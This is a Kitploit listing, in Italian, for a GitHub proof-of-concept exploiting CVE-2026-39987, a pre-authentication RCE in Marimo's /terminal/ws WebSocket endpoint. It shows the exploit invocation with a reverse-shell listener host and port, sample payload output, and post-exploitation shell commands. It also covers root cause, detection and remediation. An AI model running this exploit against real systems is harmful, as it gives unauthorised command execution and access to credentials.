Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-39987 — Exploit proof-of-concept per la RCE pre-autenticazione di Marimo. Utilizza l'endpoint WebSocket non autenticato /terminal/ws per generare una PTY e stabilire una reverse shell. | Kitploit
Strumenti/GitHubGitHub/k3ystr0k3r/cve-2026-39987
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubk3ystr0k3r/cve-2026-39987

CVE-2026-39987

Exploit proof-of-concept per la RCE pre-autenticazione di Marimo. Utilizza l'endpoint WebSocket non autenticato /terminal/ws per generare una PTY e stabilire una reverse shell.

Vedi Repository
1 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-39987 — RCE pre-autenticazione in Marimo

CVE CVSS CWE Marimo

CVE-2026-39987 è una vulnerabilità critica di Remote Code Execution (RCE) pre-autenticazione che colpisce Marimo, un ambiente notebook Python reattivo.

La vulnerabilità risiede nell'endpoint WebSocket del terminale di Marimo:

root@kitploit:~
/terminal/ws

L'endpoint non applicava correttamente l'autenticazione prima di creare una sessione di terminale. Di conseguenza, un attaccante remoto non autenticato in grado di raggiungere un'istanza Marimo vulnerabile può stabilire una connessione WebSocket e ottenere una shell PTY interattiva.

Non sono richieste credenziali valide.


Riepilogo della vulnerabilità

ProprietàValore
CVECVE-2026-39987
ProdottoMarimo
VulnerabilitàRemote Code Execution pre-autenticazione
Vettore d'attaccoRete
AutenticazioneNon richiesta
Interazione utenteNon richiesta
CWECWE-306 — Mancata autenticazione per funzione critica
GravitàCritica
Versione corretta0.23.0

La vulnerabilità è stata causata da un'applicazione incoerente dell'autenticazione tra gli endpoint WebSocket di Marimo.

Mentre altre funzionalità WebSocket eseguono la convalida dell'autenticazione, l'endpoint vulnerabile /terminal/ws poteva accettare una connessione senza prima validare il chiamante.


Causa principale

L'endpoint del terminale vulnerabile crea un PTY interattivo dopo aver accettato una connessione WebSocket.

Concettualmente, il flusso di richiesta vulnerabile è:

root@kitploit:~
Remote Client
     |
     | WebSocket connection
     v
/terminal/ws
     |
     | Missing authentication validation
     v
WebSocket accepted
     |
     v
PTY created
     |
     v
Interactive shell

Il confine di sicurezza importante è il controllo di autenticazione mancante.

Un endpoint che espone l'esecuzione arbitraria di comandi non deve consentire a un client non autenticato di raggiungere la logica di creazione del PTY.


Impatto

Uno sfruttamento riuscito può fornire l'esecuzione arbitraria di comandi con i privilegi del processo Marimo.

A seconda della configurazione di distribuzione, ciò può consentire a un attaccante di:

  • Eseguire comandi arbitrari del sistema operativo
  • Leggere file dell'applicazione
  • Accedere a variabili d'ambiente
  • Accedere a credenziali disponibili per il processo Marimo
  • Accedere a file montati nel contenitore
  • Spostarsi ulteriormente in un ambiente interno
  • Compromettere l'host o il contenitore sottostante quando sono disponibili privilegi eccessivi

L'impatto è particolarmente significativo per gli ambienti notebook perché in genere hanno accesso a dataset, API, credenziali, risorse cloud e infrastruttura di sviluppo.


Proof of Concept

Avvertenza: esegui il PoC solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.

Questo repository contiene un PoC per dimostrare la vulnerabilità in un ambiente controllato.

L'esempio seguente dimostra lo sfruttamento contro un'istanza locale/laboratorio.

Avvia il target vulnerabile

Ad esempio:

root@kitploit:~
http://127.0.0.1:8081

L'istanza Marimo vulnerabile deve essere in esecuzione prima di lanciare il PoC.


Avvia il PoC

Esempio:

root@kitploit:~
python3 exploit.py \
    -u http://127.0.0.1:8081 \
    --host 192.168.101.130 \
    --port 5555

Dove:

root@kitploit:~
-u       Istanza Marimo target
--host   IP del listener
--port   Porta del listener

Il PoC stabilisce la connessione al terminale vulnerabile e attende la connessione shell risultante.

Output di esempio:

root@kitploit:~
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882

Dimostrazione della shell

Dopo uno sfruttamento riuscito, l'attaccante riceve una shell in esecuzione con i privilegi del processo Marimo.

Identifica l'utente corrente

root@kitploit:~
whoami

Esempio:

root@kitploit:~
marimo

Verifica l'identità del processo

root@kitploit:~
id

Esempio:

root@kitploit:~
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)

Ciò dimostra che i comandi arbitrari vengono eseguiti remotamente come account marimo.


Dimostrazione del file system

Il PoC può anche dimostrare l'accesso al file system disponibile per il processo compromesso.

root@kitploit:~
ls -la

Esempio:

root@kitploit:~
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py

Spostandosi alla radice del file system:

root@kitploit:~
cd /
ls

Esempio:

root@kitploit:~
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace

Ciò conferma che la shell remota ha un normale accesso al file system, soggetto ai privilegi e alle restrizioni del contenitore del processo Marimo.


Catena di sfruttamento

L'intera catena di vulnerabilità può essere riassunta come:

root@kitploit:~
1. Attacker discovers exposed Marimo instance
                |
                v
2. Attacker connects to /terminal/ws
                |
                v
3. Authentication is not enforced
                |
                v
4. WebSocket connection is accepted
                |
                v
5. PTY terminal is created
                |
                v
6. Attacker obtains command execution
                |
                v
7. Commands execute as the Marimo process

Il guasto di sicurezza critico si verifica al passaggio 3.


Rilevamento

I potenziali indicatori di sfruttamento includono connessioni WebSocket inattese a:

root@kitploit:~
/terminal/ws

e un'insolita attività di processo originata dal server Marimo.

I difensori dovrebbero indagare su:

  • Connessioni inattese all'endpoint WebSocket del terminale
  • Processi shell inattesi generati da Marimo
  • Processi figli sospetti
  • Connessioni in uscita inattese
  • Accesso a variabili d'ambiente sensibili
  • Attività inattese sul file system
  • Comandi sconosciuti eseguiti dal processo Marimo

Rimedio

Aggiorna Marimo a una release corretta:

root@kitploit:~
0.23.0 o successiva

Inoltre:

  • Non esporre Marimo direttamente su Internet pubblico, se non necessario.
  • Posizionare i servizi notebook dietro un proxy inverso autenticato.
  • Limitare l'accesso di rete a utenti e reti fidati.
  • Eseguire Marimo con i privilegi minimi richiesti.
  • Evitare di montare directory host sensibili nel contenitore.
  • Ruotare le credenziali che potrebbero essere state accessibili alle istanze compromesse.
  • Esaminare i log per attività sospette su /terminal/ws.
  • Indagare sulle istanze potenzialmente compromesse invece di presumere che la sola applicazione della patch rimuova la persistenza dell'attaccante.

Classificazione di sicurezza

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Severity:   Critical
Type:       Pre-Authentication RCE
Protocol:   WebSocket
Endpoint:   /terminal/ws
Auth:       None required
Fixed:      0.23.0

Riferimenti

  • NVD — CVE-2026-39987
  • GitHub Security Advisory — GHSA-2679-6mx9-h9xc
  • Advisory di sicurezza e patch di Marimo
  • Catalogo CISA delle vulnerabilità note sfruttate

Disclaimer

Questo progetto è fornito per ricerca sulla sicurezza, validazione di vulnerabilità e scopi educativi. Non utilizzare il PoC contro sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita al test.

Scarica lo strumento